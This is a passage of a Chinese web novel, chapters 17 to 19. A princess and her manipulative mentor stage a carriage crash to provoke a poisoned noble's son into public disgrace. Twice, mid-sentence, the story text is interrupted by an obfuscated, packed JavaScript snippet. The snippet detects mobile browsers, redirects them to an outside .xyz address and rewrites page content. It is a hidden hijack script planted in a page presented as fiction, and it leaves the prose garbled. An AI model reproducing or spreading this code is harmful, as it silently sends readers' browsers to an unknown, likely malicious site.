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听着她说得头头是道,裴渡舟也不插话,眉梢微扬,安静地看着她。琥珀色眼珠似乎蒙上了一层皎洁月光,柔和得能滴出水来。 “好吗?”她问。 他避而不答,锦被下有力的长腿压住她的身体。她以为他不同意,还是要做,正想说那就来吧,便听他道:“今天怎么哭了?” 少隐注意到她出宫时眼睛红肿。 “有人议论我。”她把清早时偷听一事告诉了他。 “然后,我想着不能浪费送到眼前的机会,索性到父皇面前哭一场。等他问我为什么哭,我偏不说,只提自己给他做了一串念珠,关心他身体。你要我在他面前做一个尽量真实的女儿,会害怕,但是渴望父母亲情。我做得对吗?” “我的薇薇自然做什么都对。”裴渡舟微笑着揉她的头顶,接着话音一转,语气变得飘渺,“都是一群垫脚石,死的人只会是他们。不出几年,你才会是众望所归的太子,承萧朝命数,是天命所在。” 天命? 江令薇怔愣,脑海里忆起金銮殿的陈设装饰,在他和煦地注视下,缓缓点头,“我会的。” “只要什么都听我的,”裴渡舟轻轻啄吻了下她的嘴角,“什么都会是你的。” “我当然会听你的,除了渡舟哥哥,我谁也不信。”她回答。怎么会有人不信自己的恩人呢,她会一直信他的。 永远。 “油嘴滑舌。”裴渡舟嗔怪地瞪她一眼,心里却很受用。“那两个宫人叫什么名字,记得吗?” 江令薇咽下嘴里“说的都是真心话”几字,确认了一番记忆,“不知道。她们没提过。” “没事,睡吧。”他说。朗月般的眸子移开时,一闪而过几分冷冽,她眼尖地注意到了,心里突地一跳,问道:“你要杀了她们?” “怎么,”他没否认,笑容依旧,“不该杀?觉得我狠毒了?” 怎么会?她正要回答,双颊便被他掐住,说不了话。 “除了在漠北,你长这么大还没杀过人。有些事情我没怎么教过你,你今天给我记好了,她们让你听到了那些话,就等于让我知道,那是她们愚蠢。这个世上,愚蠢的人注定要吃亏。心慈手软也注定不会有好下场。” 他放开手,江令薇似懂非懂地点头,“那我——” “不要觉得自己蠢,永远不要有这个想法。”他打断了她未说完的话,“你和她们永远不同,你有我。” “你只要对愚蠢的人心狠就可以。一切有我在。” 这番话信息量过大,江令薇愣了一会儿,才完全消化。她看着裴渡舟疏朗的眉骨与浓密长睫之下的眼眸,忽然感到了一阵心惊肉跳。 野兽对危险总是格外敏锐,她自然也不例外。即使这个危险不是针对她。 “听明白了?”他在问。 她眨了眨眼,努力将心中的惊悸压下,“我明白。” 18. 第 18 章 京都雨季漫长。立秋以来,基本上整日都阴沉着天,不一会儿淅淅沥沥的雨声便将天地罩住,下得人间起了烟。 今日小雨,天朝地湿。 偌大的京城里,每家每户的屋檐角下,墙角长出的杂草叶片下,飘扬的商铺旗帜下……都嗒嗒地往下滴着水,水气泱泱。 经历了千年风雨的街巷地面或多或少长了些阴湿的青苔,人踩上去,一不注意就会摔个屁股墩,沾上一身滑腻的脏污。 今日着实不是个适合出街游玩的日子。 然而,长街熙攘。未有婚约的少男少女撑着伞,腰间佩戴着香囊,踮着脚,小心地避开蓄满水的水洼。 不时昂起脑袋,或对视,或偷瞧,羞涩的,兴奋的,落寞的…… 每条街巷里都能瞧见这样的景象,原因只有一个——今日是一年一度的朝暮节。 萧朝男女大防虽不严重,但也不能当众相会,有碍观瞻。 唯独今日不同,没嫁的,没娶的,都可以公然剖白心意,互换香囊以诉情丝,二者皆有意便能告知家中长辈,同意之后操办婚事。晚上还会有灯会,极为热闹。 许多人都希望能在这一天遇见心上人,讨一个朝暮节的好彩头,朝朝暮暮,相伴终生。 即使会害怕周家人土匪做派又来强抢谁,但许是仗着人多,百姓们互相安慰过后,也都认为应该不会发生那样的事情。 毕竟,朝暮节是萧朝有着百年传统的大日子。 因此,这一日出街的人极为多。有想要相看的未婚男女,也有因容貌上乘被家中亲眷关着不让出来的男女,以及做生意的商贩,街道上人声鼎沸,慢声细语的羞赧闲谈与此起彼伏的喧闹叫卖声络绎不绝。 公主府门前,江令薇掐着时辰,照例坐上去往宫里的马车。 再过一会儿,朝会就要散了,朝暮节人多,今日官吏回府,大多都会走在一起,有禁军开路。 心思千回百转,江令薇视线落到了角落里的小案上,那处摆放着一个椭圆的檀木盒子,装的正是雕琢了好多日的道家念珠。 朝暮节热闹非凡,人来人往,亦是裴渡舟决定对太子一干人出手的日子。这串念珠是扳倒他们的关键物件之一。 江令薇脑海里回忆起那天晚上裴渡舟告诉她的计策,桩桩件件都筹谋已久。更确切一点说,与其称之为他的计策,不如说是来自皇帝的算计,装病一年有余,等的就是这一天。 到底还没死,怎能容忍儿子骑到他头上。 马车缓速前行。 与此同时,进宫前必定会经过的长青街道上,一辆豪华的马车横在路中间。车门边挂着的木牌刻着一个“周”字,百姓没一个敢靠近,全都不约而同地从别处绕走。 于是便出现了这样的一副奇景,距离马车两边约六丈的地方人来人往,而马车周边却连一只苍蝇都不曾飞过。 靠近马车左右的店铺同样一个人都没有,这些店主瞅着不远处挤满了人的铺子,气得几欲吐血,但也是敢怒不敢言,只得暗自感叹自己倒霉,巴望着周家的马车快些离去。 有些游玩的百姓不明所以,尚不知发生了何事,挤到人群边缘,看到那个“周”字后,所有话都咽回了肚子。 在有着百年传统的朝暮节这日来挡道,严重点是可以报官的。但那可是周家,没人敢不长眼傻乎乎地跑去官府,跟周家作对是真要掉脑袋的。 也许是有了阴影,一些人赶紧覆上备好的面纱,生怕被周家人带走。 宽敞马车周身正在微微晃动,驾车的小厮努力忽略车里的劝酒声,面色不安地伸长了脖子四处观察。 待会百官就要散朝,家主也在其中,必定会经过这条路,到时看到公子光天化日停在路中间喝酒,家主定会责罚公子。 公子是家主第二子,多半是训斥了事,受苦的只会是他们这些小厮。 他提醒过公子先回府,可公子听不进去,也不知是怎么了,执意如此。 “周公子……”一声酥媚入骨的娇呼从马车里溢出。 小厮不自觉抖了抖肩,身体麻了大半边。但不是昨晚初听到时的羡慕,而是越来越焦急,好像有一把利剑悬在头顶,直叫人心惊胆战。 长乐楼的男女虽然是一等一的绝色,但也得分清轻重缓急才行啊。小厮实在忍不住,又探过身对车里人劝诫了一句。 “把你的狗嘴闭上!本公子喝个酒都得听你的吗?!”不知是哪句话惹了车里的周洪不快,他猛地拿起金制的酒杯就往小厮面上砸去,神情略显狰狞。 小厮吓得面无血色,连忙躲闪趴到马身上。 金杯掠过趴俯的小厮,哐当一声落在就近一家店铺的门头上,店家刚一回头,就见一只似暗器模样的东西向自己飞来,瞬间整个人都僵住了,气血涌到头顶,两眼一翻竟是晕死了过去。 店里的伙计同样吓了一跳,拼命咽下嘴里的尖叫,战战兢兢地把店家往里面拖。 这一边的动静不算特别大,但马车本就突兀,是以不少人都看得很清楚,不免生了惧怕之心,离得更远了些。 周洪见没砸中小厮,心中更火,正要钻出车外打人,一只素手攀上了他的胳膊,“公子,您是不喜欢奴家了吗?跟下人说话都不理奴……” 对上花魁折青那张花容月貌的脸,鼻翼翕动间,若有若无的香气在车内浮动,浇灭了火气,只剩迷离的意识。 周洪眯了眯发红的双眼,他一把掐住折青的细腰,另一只手动作不稳地执起酒壶往她身上淋,端正的面上挂着放肆的笑,“美人,好好伺候着,本公子保你荣华富贵……” 折青恍然不觉湿哒哒的衣裳,妩媚一笑,“奴家全靠公子,望公子怜惜。” 周洪一面眼神迷离地在折青身体上肆意游走,一面大口往喉咙里灌酒,溢出的水渍沿着下巴流进衣袍。 折青娇笑着用手帕为其擦干水渍。借着姿势的便利,趁他喝得昏天暗地,她撩起帘子往南边的街道看了眼。那里是天家贵胄居住的长安街入口。 一辆挂着十公主木牌的马车缓缓驶来,驾车的是身着黑衣,脸覆面具的少隐,距离这里还差百丈远。 折青勾唇,心道时候快到了。快速撂下帘子,她扶着酒壶,把手伸向周洪的衣袍,怯生生开口:“公子,外头怎么这么多人啊,奴家害怕。” 说着,她素手摸进了周洪衣衫大开的胸膛内,把柔若无骨的身体也贴了上去,“公子……” 周洪昨夜因为不忿周太师偏心,在长乐楼吃了一宿酒,路上也不停的被折青劝酒,到了现在,脑子已经不大清醒了。 本来打算回府再好好疼爱这娇俏的花魁,但此时被她一撩拨,心痒难耐,瞬间什么都顾不得了。 靡靡之音从车帘内传出。 外头的小厮暗道不好,他估摸着时辰,家主他们八成已经下朝在归家路上了,说不定就在不远处。 “公子!家主肯定已经下朝了,还是先回府吧!”小厮着急地呼唤周洪。 “再敢啰嗦本公子……嗯……本公子……”恶声恶气的威胁渐渐变成沉重的喘息,男人与女人的呼吸声交错在一起,是极为火热的状态。娇媚的女声似钩子,意志不坚定的人听了,只怕身体都会控制不住地发热。 小厮却如坠冰窖,面上惨白如纸,他已经能够窥见自己不久后凄惨的下场。公子当众行欢好之事,家主一气之下必定会让人处置了自己。 这种危机关头,其实还有另一个做法,那就是驾马带着公子赶回周府,但小厮根本不敢。家主出手还能留他一个全尸,惹了公子不快,那便只有曝尸荒野,死无全尸,家中亲人一同下去作伴的下场。 周边的店家也听到了喘息声,不由暗叹世风日下,不知羞耻。或多或少的打量落在车帘外的小厮身上,但他恍然不觉,死死盯着前方的尽头,仿佛那是自己生命的尽头。 越过人群,尽头处有一条分岔路,左边是进宫出宫的平整大道,右边是权贵们享乐游玩的花街。几刻钟前他们正是从花街过来的。 分岔路转角处,有身着玄甲的禁军渐渐出现,一个,两个,三个……极有规矩地列在两边,慢慢开路。 小厮不由自主地吞了吞口水,他感觉自己的大脑一片空白,完全无法思考,只能眼睁睁地看着禁军越来越多,往这边而来。 折青喘息着环住周洪的脖子,计算着时间,作势不小心撩起车帘,在看到禁军越来越多后,适时地惊叫出声,“公子!有人来了!” 周洪埋首于折青身前,含糊不清地道:“不用管!谁敢来本公子剁了谁!” “可奴家看着像是宫里的侍卫,全都带着刀。公子,我们还是快些走吧,奴家瞧着还有人穿着官服……”折青缩到周洪怀里,似是吓坏了,浑身抖个不停。 周洪正在兴头上,本不想理会。但听到折青口中的“官服”,脱衣服的动作一顿,烦躁地拉开帘子一看,果然有一些官吏在禁军中间,青色官服,绿色,绯色…… 甚至,周洪还隐隐看见有几抹紫色衣摆混迹其中。 一群道貌岸然的狗东西!他暗骂。“今天什么日子?”他语气不好地问折青,搞这么大阵仗,什么破日子! 折青声音控制不住地发抖,衣袖似是不经意间撩开,露出光洁的手臂,“……回公子的话,今天是朝暮节,前面怎么那么多官爷和侍卫啊,奴家害怕……” 周洪没回答折青的问题,而是面目扭曲地锤了一下车窗。 是他忘了,朝暮节那群狗官会一起下朝,他家那个老东西也在其中! 周洪伸手拧了拧发疼的眉心,余光瞥见前头的小厮巍然不动,愣在那,瞬间气不打一处来。再度抓起一个金杯往已经僵住的小厮身上砸,“驾车啊!愣着干什么,蠢东西!” 杯中的酒水在空中划过一条弯曲的弧度,将折青洁白的小臂打湿了些许。 砰的一声过后,小厮脖颈后霎时砸出了血,金杯外沿锋利处嵌进了皮肤,露出内里深红的血肉,恰巧将要掉落的金杯固定住。 剧烈的刺痛之下,总算唤醒了小厮已经僵住的思维,他顾不上脖子后瘆人的伤口,隐约听见公子说要驾车,又怕是他听错,忙不迭又问了一遍。 周洪本就不耐烦,怀中的娇软身躯不知为何香味更甚,与先前的花香好似不一样。但神智所剩无几,他根本思考不了那么多,强撑着晃了晃脑袋,一把将案上大部分茶盏器皿全往小厮身上猛丢,大吼道:“驾车!!” 伴随着这声怒吼,小厮再不敢磨蹭,忍着伤口的刺痛,连忙抓起缰绳调转方向往禁军的反方向开。 对于大路正中的马车忽然转头调走,两边的禁军不是看不见,应该说,在从转角处开路过来时,绝大多数人都看见了。 马车头顶的木牌不算小,明晃晃的“周”字掠过每个人的眼底,禁军与多数官吏心照不宣地朝后方正与自家大儿子偏头专心说话的周太师投去隐晦的眼神。 无人不知周家嚣张,可这么多人面前公然挡路,还……疑似在做那种事,真不怕那位参他们一本吗? 距离周太师几十步的地方赫然是一身朱紫官服,面色淡漠的裴渡舟。面对众人隐秘的打量,他神色并无波澜。 反倒是刑部尚书身侧的五皇子微微皱了皱眉,暗中与刑部尚书交换了一个眼神后,五皇子心中思忖。 下朝的时候,渡舟派人递来消息——今日有变。 短短四个字,五皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974414|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子已然知道定是父皇要对周家出手了。 五皇子不动声色地偏头,往一些官吏探头的地方看去。看样子,今日之变与前方停在路中间摇晃不止的马车有关。 五皇子又朝旁边的周太师瞄了眼,可能是开路的禁军挡住了视野,加之专心交谈,这二人似乎并未察觉到不远处的路上停了一辆马车。 因为许久不见自家儿子,周太师特意放慢脚步,想说些体己话,两人走到了队伍的最后头。 是以,太子一党的臣子也不好特意转身去告知周太师二人,倒是有人想出声提醒,却被裴渡舟漫不经心投来的冷冽眼神吓退,不敢再搞什么小动作。 所幸,让太子一党,周家一脉的臣子松了口气的是,那辆马车不一会儿就开走了。 禁军也不敢追,权当什么都没看见。 队伍后头的两人还在交谈。 “父亲,晚上家宴母亲说是要亲自下厨,昨晚采买了许多食材。儿子刚从外地就赶上母亲亲手下厨,真是回来的早不如巧,有口福了。”周皓笑得温和,周太师寿辰在即,他特意在朝中告假,亲去外地寻觅寿礼。 朝暮节这天,有的人家会举办家宴,周家也是其中之一。周家分三房,与其余两房的兴旺相比,长房这一脉人丁单薄,只有周皓和周洪两个孩子,皆是出自正室腹中。周太师不热衷于纳妾,周夫人出自名门,夫妻感情和顺,经常为一家人洗手作羹汤。 “你阿娘最是有心。你也是的,早就叫你不必去,堆了这么多朝政,接替你的人毛手毛脚的,到时候出了问题看你怎么办。”周太师故意板着脸,但看儿子这么孝顺自己,心里不可谓不开心。 周皓有模有样的请罪,在逗乐了周太师后,又接着道:“另外,母亲还特意请了自淮州而来的戏班子,戏唱得极好,容貌也不俗,到时候,二弟想必也会高兴些。” “洪儿他……罢了,不说了。”周太师无声地叹口气。请戏班子的用处,自然不是单纯地唱戏,为的都是他这个不成器的二儿子。重金之下,看上谁了,愿意也好,不愿意也罢,通通送进他二儿子房中。 喜欢女色,他母亲兄长就亲自送,亲自挑,这般做法,全京城,甚至整个萧朝上下,还有哪家人会这么做。全家人对他已经仁至义尽了,偏他看不见。周太师一想到这个儿子就头痛。 周皓扶住周太师的手,又宽慰地说了几句。作为周家未来的家主,他自然知道自己这个父亲在烦恼什么,无非就是二弟自家主之位定下来之后,整日宿在花街柳巷,一回家不是倒头大睡就是耍酒疯,说父亲偏心,全家人都偏爱他。 他的二弟很不服他。 周皓想起周洪红着眼质问的样子就觉得好笑,有能力就来和他争,一味的找父母亲闹算什么。像他们家这种情况,谁能力出众家主之位就是谁的。 偏偏没能力,还自命不凡。 …… 马车内,折青怯怯地窝在神情阴沉的周洪怀中,身上香味愈来愈浓。 周洪勉强撑住发沉的脑袋,隐隐觉得有些不对劲。他粗鲁地扯住折青的脸,发红的双眼死死瞪着她,“怎么会这么香?!你敢算计本公子!” 折青脸色发白,美眸瞬间就蓄满了泪水,许是被周洪这幅样子吓到,她哆嗦地摊开双手,示意他往自己全身看。 “公子冤枉啊!这是奴家的体香,奴家害怕的时候,香味会变化。您昨晚来的时候,不正是看中奴家身有异香这一点吗,您赎了奴家,奴家已经是您的人了,便是有人把刀架奴家脖子上,奴家也不敢算计您啊!” 折青衣着简单,全身上下没佩戴任何不对劲的饰品,是他最喜欢的清纯模样。周洪眯了眯眼,心中的怀疑渐消。 也是,他可是周家人,谁吃了熊心豹子胆敢来暗算他! 不过,周洪一想到自己是因为这个女人劝酒,才喝了这么多酒,还差点被自家老东西撞见,回府说不定又会被怒斥,他就一肚子邪火没处发。 “是吗?本公子不信。”说着,他忽然扑倒折青,双手不安分地伸进衣裙中,惹来折青娇怯低呼。 大脑到现在,已经完全被酒意与不知名香味覆盖,叫嚣着唤醒周洪心底的欲望。 折青一边应付周洪咯咯娇笑着,一边暗中朝着车帘缝隙往外观察。周边的百姓不敢靠近马车,连连避退,前方百步远的地方赫然是少隐所驾的马车,经过刚才那么久的时间,已经出了长安街,正往他们这边慢慢驶来。 看来,就是现在了,折青想,目光与前方的少隐有过瞬间的眼神交汇。他微微点头。 折青收回视线,手臂不经意间碰倒了桌案上剩余的酒水,肌肤上沾了水渍,霎时车内的香味更加浓烈。 “公子……”她柔声唤着。 周洪大力把折青压在桌案上,酒水四溢,沾湿了她整只臂膀。 迷离的香气在这一瞬间似乎有了实质,周洪只觉心中有一万只蚂蚁在爬,半年来在周皓,周太师那受的郁气愈发藏不住,低吼一声,使劲地折腾车内的柔软身躯,发狂似的想把这股气发泄出去。 折青极为配合,那双看似柔弱的双臂揽住紧紧周洪的脖子,双腿微蹬,两人在宽敞的马车中滚来滚去。案上的酒壶倒在角落里,把上好的莲纹绒毯浇得湿漉漉的。 驾车的小厮差点控制不住马车,简直要被两人的动作甩飞出去。他心中焦急,生怕被后面的家主看到什么不该看的东西,拉紧缰绳,一刻不停地往周府驶去。 速度快的连两边的百姓都被撞倒了一大片。 马车所过之处,此起彼伏的哀嚎声不绝于耳。 小厮却恨不得快一点,再快一点,撞没撞死人他不在乎,只要能赶快回到周府就好。 19. 第 19 章 前方街道的惨叫一声高过一声,痛苦的哀嚎中还夹杂着慌乱的呼喊,好像是店家的铺子被撞倒了,又似是有人避退不及,被车轱辘毫不留情地碾过。 总之,地面定是一片狼藉。 因为周洪的马车一直往他们这边跑,是以附近两侧的店家和行人都不敢停留在此,早在看清马车轨迹后作鸟兽散了。 “殿下,他们就在前面。”少隐低声提醒。 闭目休憩的江令薇说了声好,视线掠过小案上的檀木盒,身子往前面倾了倾,做好摔出去的准备。 “来了。” 少隐话音刚落,一辆宽敞奢华的马车就以一种常人难以避让的速度,直直地朝着他们冲来。 驾车的小厮心里只有一个快回府的念头,根本没注意到几丈远的地方还有一辆慢悠悠的车舆,在身后百姓的哀嚎中,他握紧缰绳,扬起马鞭,再度加快速度。 少隐同样勒紧缰绳,头微微偏着,装作专心和江令薇交谈没发现迎面的马车,听着嘚嘚马蹄声,心里在默默倒数。 三丈、两丈、一丈…… 两辆马车车厢近在咫尺的刹那间,小厮总算看到,瞬间吓得面无血色,想要勒停马车,却为时已晚。 恰在这时,身后的车厢又是一阵极大的动静,小厮反应不及,直接脸着地甩飞出去,惊叫着砸出一地血,晕死了过去。 少隐面具下的眼睛微眯,对面车厢里的人动作得厉害,又没了人平衡方向,骏马嘶鸣,不受控制地撞上迎面的他们。 两只毛发乌黑的骏马受了惊,凄切嘶鸣,马蹄上扬,两辆车厢猛地震颤,砰的一声发出巨响。 车厢撞出了裂痕,江令薇屏住心神,任由巨大的冲击力砸到自己身上,被砸到发麻的手指勾了勾案上的檀木盒,顺势和身前朝她看来的少隐一起被甩出车厢。 附近两边都是店铺,厚实的板门紧紧关着,墙根是用坚硬的青石砌成,要是撞到这二者上面,不砸个头破血流是不可能的。 所幸少隐功夫极好,危机之下,紧急调转了方向,用力扯住江令薇,两人这才能翻倒在旁边扎成跺的厚草垛里。下了雨,吸饱了水,承受的住两人撞过来的冲击力,不至于磕在厚实的青石墙上。 即使如此,扎人又潮湿的秸秆仍是把两人身上糊的全是,少隐戴着面具,又着黑衣,除了脖颈处被扎的有些红,看起来倒还好。 反观江令薇,发髻散落,湿漉漉地黏在面上,浑身都被潮湿的草垛沾湿,有几节秸秆差点糊进她嘴里。 天上还在落小雨,如烟似的细小雨珠毫不怜惜地飘来,与檐角下的水一同往她身上嗒嗒地滴,眼眶里进了水,不消一刻双眼都被水滴弄红了,狼狈得紧。 檀木盒则是滚到了墙跟边,盒子已经四分五裂,露出里面的道家念珠,不过倒是没有断,圆润的珠子暴露在雨中,表面沾满了水珠。 少隐刚抬头,就见到江令薇这副凄惨的模样,心立刻提了起来。他先是飞速留意一下身后有无百姓。 他自己身上其实也被撞到了好几处,但他是在皇城司底层一点点爬起来的,受伤见血都是家常便饭,练就了一身皮糙肉厚的好本事,此刻的伤对他来说不算什么。 宽广的街道左侧,一个又一个百姓听见巨响,不免惊奇,仗着人多,也顾不上对周家的畏惧,纷纷往这边赶来。 少隐只得按下心中想扶江令薇起来的想法。 主子出门前,特意叮嘱他务必要顾好殿下。此时此景,虽然那些百姓还没到,但是他这个角度,所有人都能看见他的举动,实在容不得他做什么。 只好装成身受重伤,动弹不得的样子。毕竟,今天主要是殿下与周洪的交锋。 江令薇动了动撞得酸痛的胳膊,艰难抹了一把脸上雨水,模糊的视线总算变得清晰。通红的双眸微微转动,对上旁边一同倒在湿草垛上的少隐视线,他动了动唇,无声询问:殿下,还好吗? 江令薇小幅度地点头,后脑勺却蓦地一痛,“嘶……”她皱紧眉头,知道脑袋后面定是撞青了。 草垛虽湿沉,被撞出去时少隐也留意了位置,但既然是要装作顺势被撞飞的样子,总不可能一点伤都没有,就和雕刻念珠搞得满手伤是一样的道理。 这一点,在她选择做裴渡舟所说的握刀之人时,已经做好了心理准备。 少隐见她痛呼,下意识想要伸手帮忙,把装成一个受了重伤侍卫的事忘得一干二净,同时心中也后悔刚才怎么不更注意一点。 江令薇当即制止了少隐的动作。 他不能帮她,不然这出苦肉戏还怎么演。 少隐一怔,瞬间意识到他的举动属实不妥,会坏事。内心谴责自己的同时,脑海里却不受控制地浮现出她刚才的眼神。 黑白分明的眼睛,有些红,朝他看来时,里面满是不赞同。 不是京中权贵吩咐下人时会有的,含着命令的眼神。许是有一双圆溜溜的眼睛,她说话,做事,从来都是给人一种有商有量的感觉。 就如前些日子,她想看他的脸,她说:“我能看看你的脸吗?怎么连眼睛都挡住了,不闷吗?” 京中任何一个有点身份地位的人,都不会对着下人说出“能看看”这三个含着商量意味的字。 但她会。 有意深埋于心底的那些记忆开始苏醒,漠北三月,营帐之外,日夜相伴。 有几次晚上刮冷风时,她会叫他去休息,不必再守夜,他执意不肯,她便叫他进来,说待在里面会暖和一点。 他因着主仆有别,仍旧不肯。她没再说话,给他递了一件斗篷,枣褐色的,衣襟边绣着几圈毛领,在黑夜里并不扎眼,但他最后依然没接。 她看他这样,也不勉强他。 他把斗篷叠好,规矩地退了出去。不过,那抹沉闷的褐色,与斗篷的暖意就此留存在了他的记忆里。 雨滴凝于檐角。 嘀嗒—— 沿着银制面具流到眼中,冰冷的水顷刻间浇灭了少隐心里那股说不清道不明的情愫,带来一阵寒意,回忆戛然而止。 真是畜牲,怎么敢有这种想法,他暗中唾弃自己。 即使他自己也不明白“这种想法”究竟是指什么,但不妨碍他为脑海里闪过她的脸而感到心惊。 少隐的谴责与唾弃,江令薇通通不知,视线寻觅到角落里的念珠后,便目不转睛地望向对面。 两辆马车车厢相撞的力度十分大,车辕脱落,车轴散架,车身的木板裂开,乱七八糟地堆在墙根下,足有好几尺高。 木板下方正传来嘎吱嘎吱的动静,看来,两人被压在里面。 隐约间还能瞧见两只手臂撑在下面,一只有明显的肌肉鼓起,一只看似细瘦洁白,但江令薇目力极好,能瞧见小臂使力时,紧绷的肌肉线条。 后者的小臂撑在前者手掌的下方,随着对方的力道使劲,推了好几下,木板仍旧没有推开。 她是故意的。江令薇心里蓦然冒出这个念头,那只手臂上的肌肉线条绝对有练过,不至于连几层木板子都推不开。 仿佛是为了验证这个想法,恰有雨水顺着缝隙落到洁白手臂上,一滴又一滴,恍惚间,江令薇捕捉到一抹红光在光线暗沉的木板下闪过。 几乎是下一刻,一道很明显的男人怒吼声响起。 接着,挡在两人身上的厚实木板被掀飞。 砰—— 刚赶过来的一些百姓差点被甩飞的木板砸到脸,登时吓得尖叫出声,抱头鼠窜。 在木板被掀飞时,江令薇正准备翻身避开,然而屋檐下的雨水刚好凝成,随着她的举动砸进本就不适的眼里。 屋瓦间并不算太干净,滴下来的水也沾了脏污,眼睛传来一阵阵的刺痛感,流下泪水,江令薇翻身的动作一滞。 刹那间,模糊的视野里窜出一个黑色身影,挡在她面前。 她强忍着疼痛摸索着掏出怀里的干净帕子擦拭眼睛,睁开眼的时候,恰对上了少隐的黑眸。 木板并没有砸到他们,而是哐当几声落在彼此周身,应该是对面的折青有意控制了方向,少隐很明白这一点。 但在那一刻,还是禁不住慌了神。 “多谢你。”江令薇几乎是下意识地道谢,反应过来少隐做了什么后,又有些不满,但最终还是没说什么,只是挪了挪身子,用眼神示意他快让开。 少隐面具下的唇抿了抿,听从吩咐退到一边,心中情绪复杂。 江令薇移开视线再抬头的须臾间,又对上了墙角边周洪扭曲到极致的面庞,以及那双充斥着怒火的猩红眼睛。 他全身上下显得颇为狼狈,和自己一样,衣裳湿透,染上脏污。旁边挽着他手的女人也没好到哪里去,两只胳膊上的衣袖全裂了,露出光洁的手臂,雨水一滴一滴地沿着肌肉弧度而下。 看样子,所谓致人癫狂的毒药并不是随时都会发作,而是要依靠特定的东西。江令薇不动声色将落在折青臂膀上的目光收回。 裴渡舟来之前只告诉她,让人给周家二公子下了毒,见到他们就会发作,但并未详细解释其中缘由。 江令薇撑着手,脚步踉跄地从地上爬起,通红的杏眸比之周洪更是有过之无不及,配上凌乱的衣裳青丝,看着就是一个受足了欺负的富家小姐。 “公子,都是他们干的好事!把奴家和您搞成这幅模样,奴家的骨头都差点摔裂了,他们实在胆大包天!您一定要处置了他们啊!”折青伏在周洪身侧凶恶地瞪着江令薇两人,说到最后,又忍不住掩面而哭。 “是要好好处置,简直该死!”这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974415|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周洪是咬着牙说的。 “你……你们想干什么……”江令薇配合地问出这句话,似是怕极了,浑身上下抖个不停,乌黑的瞳仁慌张地打量四周,想找人帮忙主持公道。 左边墙角的隐蔽处是围着一些好奇的百姓,对江令薇现在的凄惨模样也深感同情,然而在她求救的视线望过来时,大部分都默默地偏过头,不做声,努力降低存在感。 那是周家的公子,一路上马车不知撞伤了多少人,但有人敢去报官吗?永远都不会有的。 想着想着,一些百姓嗟叹几声,也不忍再待下去,刚才那么大的动静,本来大伙都以为是哪里坍塌了,才来此一看,没想到是这种场面。 有极少数的年轻男女嫉恶如仇,谨慎地蒙上早就备好的面巾,抽过附近的木棍就要上前替天行道,“光天化日之下,你敢!” 周洪看都没看那些人,死死瞪着发抖的江令薇,“想救人也要掂量掂量自己够不够格,敢过来你们都得死!” “欺人太甚!”几个男女挥舞着木棍冲了过来。 然而,还没近到周洪身前,就被折青拦住,她不知从哪也捡来一根棍子,一边冲着几人乱舞,一边大喝:“公子,奴家替您挡着,他们实在太欺负人了!您一定要好好教训那两个人!” 周洪动了动五指,发出噼啪作响的声响,他没有回应折青,一步步朝江令薇走去。 而折青看似在胡乱挥动木棍,却也奇异般地拦住了那些年轻男女。 江令薇心里淡定,面上却俨然一副被吓傻的模样,嘴唇张了张,半天说不出一句话。然而,垂在腿侧的右手小指却不动声色地勾了勾,示意少隐按商量好的来。 少隐立刻会意到,装成双腿伤到筋骨不能行走的样子,焦急地大喊:“你们想干什么!主子快跑啊,快带上念珠跑!”他罕见地没有称呼“殿下”,这也是他们计划好的一环,等会儿再揭露身份。 “念珠……”江令薇喃喃重复了一遍,然后忽然回神,快速转身想要寻到念珠的踪迹。 身后是越来越近的周洪,身前是湿草垛。 她一面假装匆忙寻找,一面暗中计算周洪距自己还有多远。 在周洪一脚踹来时,江令薇眉毛一跳,猛然奔到墙根下,抓住那串因沾了水有些膨胀的檀木珠,“找到了!” “我也找到了,真巧啊。” 周洪皮笑肉不笑的声音在几步远的地方响起。 不巧啊,专门等着你。江令薇在心里默默回应。接着,悄悄将右手放在左手下面,用左手死死抓住念珠。 右手是握剑握刀的手,不能有事。 “敢让本公子成现在这副模样,贱民!”周洪从鼻子呼出一口气,站到江令薇身后,双眼愈发猩红,眼珠凸起,颇为瘆人。 江令薇内心从容,身体却一动不动,犹如被定住般,吓破了胆。 附近的少隐看到她的左手抓着念珠后,瞳孔猛地一缩,面具下的神情止不住的焦急,不是说好了,不用手抓的吗? 在他们的原计划里,是吸引周洪毁坏念珠,然后揭露身份刺激他,在其毒药发作下,言语诱导,等待下朝的官吏撞破周洪口不择言的一幕。 可殿下现在突如其来的做法,手绝对会被周洪那厮踩住,十指连心,会十分痛! “主子!快跑!”他高喊。 江令薇对少隐的话没有任何反应,眼睛都没眨。左手牢牢抓着念珠,身体频频发抖,明显就是被吓坏了,只懂得抓紧手边的东西,仿佛那串念珠就是她的所有。 与年轻男女缠斗的折青也把江令薇的举动看在了眼里,心下不由一愣,她跟在楼主身边多年,知道长乐楼所效忠的主子有一位掌中宝,十分疼惜。 刚才见第一面的时候,本以为是位需要人呵护引导的柔弱公主,可眼下看来,事实似乎并非如此。 “贱民!”周洪面上浮现狞笑,直接用靴子的尖头去猛踩江令薇的左手,硬邦邦的鹿皮皂靴在手指骨节上寸寸碾过,咔嚓声不绝于耳。 膨胀的念珠被那股大力压成碎块。 